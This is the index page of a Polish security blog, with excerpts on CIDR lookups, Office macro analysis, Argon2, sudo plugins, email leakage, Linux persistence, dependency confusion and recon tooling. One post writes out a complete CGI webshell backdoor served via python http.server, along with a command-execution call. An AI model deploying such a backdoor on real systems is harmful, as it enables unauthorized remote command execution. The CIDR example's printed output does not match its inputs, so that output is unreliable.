NFsec Logo

Python – szybkie dopasowanie adresu IP do klasy CIDR

29/07/2022 w Hacks & Scripts Możliwość komentowania Python – szybkie dopasowanie adresu IP do klasy CIDR została wyłączona

python3 -m pip install cidr-trie
>>> from cidr_trie import PatriciaTrie

>>> ip_owner = PatriciaTrie()
>>> ip_owner.insert("10.0.0.0/8", "LAN-A")
>>> ip_owner.insert("172.16.0.0/12", "LAN-B")
>>> ip_owner.insert("192.168.0.0/16", "LAN-C")
>>> ip_owner.insert("192.168.1.0/24", "LAN-C-Office-Toronto")
>>> ip_owner.insert("104.16.0.0/12", "Internet-Cloudflare")
>>> ip_owner.insert("31.171.152.0/22", "Internet-HostileVPN")

>>> ip_owner.find_all("31.171.152.25")
[('31.171.152.0/22', 'Hostile VPN')]
>>> ip_owner.find_all("192.168.1.13")
[('192.168.0.0/16', 'LAN-C'), ('192.168.1.0/24', 'LAN-C-Office-Toronto')]
>>> ', '.join((v[1] for v in ip_owner.find_all("192.168.1.13")))
'LAN C, LAN-C-Office-Toronto'

Więcej informacji: Skompresowane drzewo trie, Store CIDR IP addresses (both v4 and v6) in a trie for easy lookup

O statycznej analizie plików Microsoft Office słów kilka albo i więcej cz. II

30/11/2021 w Bezpieczeństwo Możliwość komentowania O statycznej analizie plików Microsoft Office słów kilka albo i więcej cz. II została wyłączona

W

tej części będziemy kontynuować statyczną analizę przykładowego dokumentu, ale postaramy się zajrzeć trochę głębiej i znaleźć jakie akcje ma za zadanie przeprowadzić makro zawarte w dokumencie. Wspomożemy się tutaj świetnym zestawem narzędzi autorstwa Didiera Stevensa, tutaj warto, a nawet trzeba wspomnieć o narzędziach innego autora – Philippe Lagadeca, które znacząco ułatwiają analizę dokumentów MS Office. Obydwa zestawy narzędzi często nachodzą na siebie funkcjonalnością i często są używane wymiennie (często, aby zweryfikować rezultaty). Nie będę wchodził w szczegóły, kto jest autorem dokładnie, którego (to pozostawiam jako zadanie domowe dla Czytelnika). Dodatkowo zaznaczę, że nawet zaprezentowane narzędzia to tylko specyficzny wycinek (np. analiza obiektów OLE) wszystkich zasobów opublikowanych przez tych badaczy.
[ czytaj całość… ]

Argon2

01/09/2021 w Bezpieczeństwo Możliwość komentowania Argon2 została wyłączona

A

rgon2 jest algorytmem, który wygrał w 2015 roku Konkurs Haszowania Haseł (ang. Password Hashing Competition). Jest wskazywany jako następca bcrypt i scrypt oraz zalecany przez OWASP (ang. The Open Web Application Security Project) do zabezpieczania haseł. Zaletą tego algorytmu są jego różne warianty (aktualnie posiada on trzy: Argon2i, Argon2d i Argon2id), które zawierają mechanizmy utrudniające ataki typu brute force oraz side channel. Ma prostą konstrukcję mającą na celu uzyskanie najwyższego współczynnika wypełnienia pamięci i efektywnego wykorzystania wielu jednostek obliczeniowych.
[ czytaj całość… ]

Wsparcie dla wtyczek python w sudo 1.9

14/07/2021 w Bezpieczeństwo Możliwość komentowania Wsparcie dla wtyczek python w sudo 1.9 została wyłączona

W

szyscy znają sudo, prawda? Polecenie to pozwala administratorowi systemu nadać niektórym użytkownikom możliwość uruchamiania wybranych uprzywilejowanych poleceń, jednocześnie rejestrując ich argumenty i wykonanie. Program ten jest instalowany domyślnie prawie we wszystkich dystrybucjach systemu Linux i jest dostępny dla większości komercyjnych systemów Unix – umożliwiając precyzyjne dostosowywanie polityk dostępu. Mimo to nawet administratorzy systemów często wiedzą, że jest to „prefiks”, którego należy użyć przed uruchomieniem polecenia wymagającego uprawnień root nie zdając sobie sprawy z jego prawdziwych możliwości.
[ czytaj całość… ]

Jak adresy e-mail wyciekają z serwisów Github i Gitlab

10/06/2021 w Bezpieczeństwo Możliwość komentowania Jak adresy e-mail wyciekają z serwisów Github i Gitlab została wyłączona

B

ardzo wiele firm utrzymuje repozytoria publicznych projektów na popularnych serwisach takich jak Github oraz Gitlab. Na przykład listę loginów poszczególnych użytkowników w serwisie Github można uzyskać bardzo łatwo – wystarczy odwiedzić adres: https://github.com/orgs/$firma/people.

Plus iterując po poszczególnych projektach: https://github.com/$firma/$projekt/graphs/contributors można zebrać dość dużą ilość unikatowych użytkowników. Gdzie następuje wyciek? Otóż Github używa adresów e-mail powiązanych z kontem Github (można mieć ich więcej niż jeden – a często na jednym koncie łączy się prywatne i firmowe adresy) przy zatwierdzaniu kodu (ang. commit) oraz innych aktywnościach w profilu użytkownika. Kiedy użytkownik zatwierdza kod w publicznym repozytorium jego adres e-mail jest publikowany i staje się publicznie dostępny.
[ czytaj całość… ]

Utrzymanie stałego dostępu poprzez menedżery pakietów Linuksa

13/04/2021 w Bezpieczeństwo, Pen Test Możliwość komentowania Utrzymanie stałego dostępu poprzez menedżery pakietów Linuksa została wyłączona

W

yobraźmy sobie taki scenariusz – jesteś członkiem zespołu Red Team, który ma kompetencje w zakresie systemu Linux. Twoim zadaniem jest opracowanie ćwiczenia, w którym musisz zachować dostęp do skompromitowanego systemu przez jak najdłuższy czas. Posiadając uprawnienia administratora myślisz o dodaniu jakiegoś zadania w cron lub innej klasycznej lokalizacji (np. rc.local), ale wiesz że Blue Team je systematycznie sprawdza. Przez chwilę myślisz o doczepieniu tylnej furki jakieś binarce, tylko problem w tym, że dostęp ma być utrzymany jak najdłużej, a skompromitowana maszyna jest ustawiona na regularną aktualizację łatek bezpieczeństwa, więc wszelkie pliki wykonawcze lub inne krytyczne komponenty systemu mogą zostać nadpisane wersjami domyślnymi.
[ czytaj całość… ]

Zamieszanie w zależnościach pakietów

11/02/2021 w Ataki Internetowe Możliwość komentowania Zamieszanie w zależnościach pakietów została wyłączona

Z

amieszanie w zależnościach pakietów (ang. dependency confusion) jest nowatorką metodą ataku na łańcuch dostaw (ang. supply chain attack). Atak na łańcuch dostaw (zwany także atakiem od trzeciej strony) ma miejsce, gdy ktoś infiltruje Twój system za pośrednictwem zewnętrznego partnera lub dostawcy, który ma dostęp do Twoich systemów i danych. Na przykład Twoja firma korzysta z jego oprogramowania lub usług, które dają mu dostęp do Twojej sieci. Gdy dochodzi do przełamania zabezpieczeń u partnera – atakujący jest w stanie rozprzestrzenić wektor ataku na wszystkich klientów danej firmy. Znaczenie tego ataku dla typowego przedsiębiorstwa w ciągu ostatnich kilku lat znacznie się zmieniło, ponieważ coraz więcej dostawców i usługodawców się integruje i dotyka wzajemnie wrażliwych danych. Ryzyko związane z łańcuchem dostaw nigdy nie było wyższe ze względu na nowe rodzaje ataków, co pokazuje zamieszanie w zależnościach pakietów. Rosnąca świadomość społeczna na temat zagrożeń powoli spycha napastników na nowy kierunek masowego rażenia. Dobrym przykładem jest niedawny atak SolarWinds.
[ czytaj całość… ]

Recon Samurai – OneForAll

20/11/2020 w Pen Test Możliwość komentowania Recon Samurai – OneForAll została wyłączona

O

neForAll jest narzędziem służącym do odkrywania subdomen z wielu źródeł. Dzięki chińskiemu kontekstowi (developmentu) może zapewnić czasami przewagę nad tradycyjnymi narzędziami i serwisami służącymi do tego celu. Potrafi wykorzystać kilka egzotycznych chińskich źródeł danych, których inne narzędzia zwykle nie przeszukują np. FOFA, Baidu Cloud Observation, Gitee, ChinaZ Alexa oraz inne. Zwiększa to szanse na znalezienie unikalnych, wcześniej nieodkrytych punktów wejścia podczas pracy zwiadowczej. Sam kod narzędzia potrafi dostarczyć nam wiele adresów oraz innych narzędzi wykorzystywanych w tym procesie. W celu wykorzystania jego pełnego potencjału należy przejrzeć do jakich serwisów wymaga kluczy API umożliwiających odpytywanie różne serwisy.
[ czytaj całość… ]

Webshell / backdoor CGI za pomocą python http.server

16/11/2020 w Hacks & Scripts Możliwość komentowania Webshell / backdoor CGI za pomocą python http.server została wyłączona

cd /tmp
mkdir cgi-bin
echo '#!/bin/bash' > ./cgi-bin/backdoor.cgi
echo 'echo -e "Content-Type: text/plain\n\n"' >> ./cgi-bin/backdoor.cgi
echo 'spc=" "' >> ./cgi-bin/backdoor.cgi
echo 'str=$1' >> ./cgi-bin/backdoor.cgi
echo 'cmd=$(echo "${str//XXX/$spc}")' >> ./cgi-bin/backdoor.cgi
echo 'printf '"'"'%s\n'"'"' "$($cmd)"' >> ./cgi-bin/backdoor.cgi
chmod +x ./cgi-bin/backdoor.cgi 
python -m http.server --cgi
curl "http://localhost:8000/cgi-bin/backdoor.cgi?unameXXX-a"
Darwin johhny5 19.6.0 Darwin Kernel Version 19.6.0: Thu Oct 29 22:56:45 PDT 2020; 
root:xnu-6153.141.2.2~1/RELEASE_X86_64 x86_64

Więcej informacji: Mark Baggett github gist

Szukanie sekretów w plikach kodu bajtowego języka Python

29/09/2020 w Pen Test Możliwość komentowania Szukanie sekretów w plikach kodu bajtowego języka Python została wyłączona

K

iedy wykonujemy program Python to w tle wykonuje się najpierw kompilacja kodu źródłowego (instrukcje znajdujące się w danym pliku .py) do formatu zwanego jako kod bajtowy. Kompilacja to proces tłumaczenia kodu na inny format, a w tym wypadku kod bajtowy jest niskopoziomową, niezależną od platformy reprezentacją kodu źródłowego. Język programowania Python przekłada każdą z instrukcji źródłowych na grupę instrukcji kodu bajtowego poprzez podzielenie ich na pojedyncze kroki. Proces przekładania kodu źródłowego na kod bajtowy odbywa się z myślą o szybkości wykonania – kod bajtowy może działać o wiele szybciej od oryginalnych instrukcji z kodu źródłowego zawartego w pliku tekstowym.
[ czytaj całość… ]